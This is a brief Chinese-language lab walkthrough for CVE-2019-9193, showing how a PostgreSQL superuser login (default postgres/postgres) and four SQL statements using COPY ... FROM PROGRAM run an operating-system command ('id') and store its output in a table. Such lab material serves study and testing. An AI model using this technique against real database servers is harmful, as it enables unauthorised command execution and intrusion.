CVE-2019-9193 PostgreSQL 高權限命令執行漏洞

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漏洞利用

啟動漏洞環境後, 將開啟Postgres默認的5432端口,默認賬號密碼為postgres/postgres, 連接到數據庫。

DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;

FROM PROGRAM語句將執行命令id並將結果保存在cmd_exec表中。